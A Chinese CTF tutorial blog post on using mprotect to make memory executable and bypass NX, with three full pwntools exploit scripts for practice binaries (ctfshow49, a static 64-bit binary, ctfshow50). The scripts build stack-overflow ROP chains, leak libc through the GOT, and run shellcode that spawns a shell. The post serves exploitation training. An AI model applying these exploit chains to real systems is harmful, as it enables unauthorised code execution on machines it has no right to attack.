pwn入门之mprotect函数的利用

1:mprotect函数是什么?

它是由rdi  rsi  rdx 三个参数构成(64elf),或者由ebx ecx edx三个参数构成(32elf)。mprotect(addr,length,prot)括号内分别为地址,读入长度,权限。同时也对应着三个参数。

2:mprotect函数的用途。

mprotect()函数可以用来修改一段指定内存区域的保护属性。简单地说就是在一些题目开启NX保护后可以通过这个函数来绕过NX.

3:实例1ctfshow49

查看保护

发现开启NX

ida分析

主函数除了logo只有一个read函数供我们使用v1距离返回地址距离0x16处。思路来了:利用mprotect函数将我们目标读入shellcode处改为可执行的,然后执行shellcode。

详解:找到bss段地址为0x602050,我们将其后三位改成0方便获取更多的空间读入shellcode

即bss=0x602000

通过gadget找到一个含有三个pop一个ret指令的地址,我们要通过这个指令将mprotect函数原来的参数pop走,让我们能够填入我们想要的参数.pop_ebx_esi_ebp_ret=0x80a019b然后就是构造payload了先上代码

from pwn import*
context(arch='i386',os='linux',log_level='debug')
io=process("./49")
elf=ELF('./49')
pop=0x80a019b
bss=0x80DA000
payload=b'a'*22 +p32(elf.sym['mprotect'])+p32(pop) +p32(bss) +p32(0x1000) +p32(7)
payload+=p32(elf.sym['read'])+p32(pop)+p32(0)+p32(bss)+p32(0x1000)+p32(bss)
io.sendline(payload)
shellcode=asm(shellcraft.sh())
pause()
io.sendline(shellcode)
io.interactive()

pay=溢出+返回地址1+参数2+返回地址2+参数2.因为是32位程序先调用函数再传参。

所以payload的意思就是先调用mprotect函数通过pop将原本的参数覆盖为我们想要的参数,然后返回到read函数,然后pop弹掉read的参数,把第二个参数改为bss的地址,读入shellcode。最后再返回到bss段执行shellcode。注:p32(7)在这里意思是改为rwx可读可写可执行的意思

4:实例2

main函数有一个gets函数存在溢出,并且通过为静态编译文件,同时开启NX保护

思路:用mprotect函数将bss段改为rwx,然后往里面读入shellcode即可获取shell.上exp

from pwn import *
p=process("./pwn3")
elf=ELF("./pwn3")
mprotect=0x4353E0
bss=0x6C1C40
rdi=0x00000000004016c3
rsi=0x00000000004017d7
rdx=0x00000000004377d5
read=0x434860
p.recvuntil("where is my system_x64?")
pay=b'a'*(0x50+8)+p64(rdi)+p64(0x6C1000)+p64(rsi)+p64(0x1000)+p64(rdx)+p64(7)+p64(mprotect)+p64(rdi)+p64(0)+p64(rsi)+p64(bss)+p64(rdx)+p64(0x100)+p64(read)+p64(bss)
p.sendline(pay)
pause()
shellcode=asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()	

 这题是64位的所以着重讲一下pay的构造。先是溢出操作,然后一个mprotect的相应寄存器一个参数然后调用mprotect函数,接着就是read函数的构造最后返回到bss段执行shellcode

此外,本题还有另外一种解题思路就是因为存在gets函数,以及是静态编译文件可以使用

ROPgadget --binary 文件名  --ropchain让它给你生成一个payload

我们只需要填充垃圾数据就行(这种方法因为简便,目前我很少见类似题目)

5:实例3

ctfshow50

ida分析只有一个gets函数存在溢出距离返回地址40

和上题思路一样,但是ida中不存在mprotect函数,后面的gadget也少了pop_rsi_ret和pop_rdx_ret的指令。所以我们需要先按照libc的思路将libc的基址泄露出来然后计算偏移得到我们需要的函数和pop指令。先上exp

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
p=process("./50")
elf = ELF('./50')
main_addr=0x400637
bss=0x602000
pop=0x4007df
rdi=0x4007e3
p.recvuntil('Hello CTFshow\n')
payload=b'a'*40+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(main_addr)
p.sendline(payload)
puts_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
mprotect = libc_base + libc.symbols['mprotect']
read=libc_base+libc.symbols['read']
rsi=0x000000000002601f+libc_base
rdx=0x0000000000119431+libc_base
p.recvuntil('Hello CTFshow\n')
pay=b'a'*40+p64(rdi)+p64(bss)+p64(rsi)+p64(0x1000)+p64(rdx)+p64(7)*2+p64(mprotect)+p64(rdi)+p64(bss)+p64(elf.plt['gets'])+p64(bss)
pause()
p.sendline(pay)
shellcode=asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()

 因为题目没有相关参数的gadget所以我们查询的是libc文件中的指令,将libc中rsi或rdx的地址加上libc_base就是真实地址。

pay=参数+参数+参数+返回地址1+参数+参数+参数+返回地址2+返回地址3(shellcode处)即64位构造payload先构造参数,再调用函数。

注:这里的rdx是pop_rdx|pop_r12_ret这个和pop_rdx_ret效果一样。所以只需要填充一个p64(7)再随便填充一个数据给r12寄存器,而用pop_rdx|pop_r12_ret不用后者是因为前者适合更多libc版本

6:总结

在本次使用mprotect函数中,主要就是mprotect函数的参数以及payload的构造的理解。

如果以上文章有不足和错误处请通知我,我是菜鸡可能搞错了。

  • 18
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值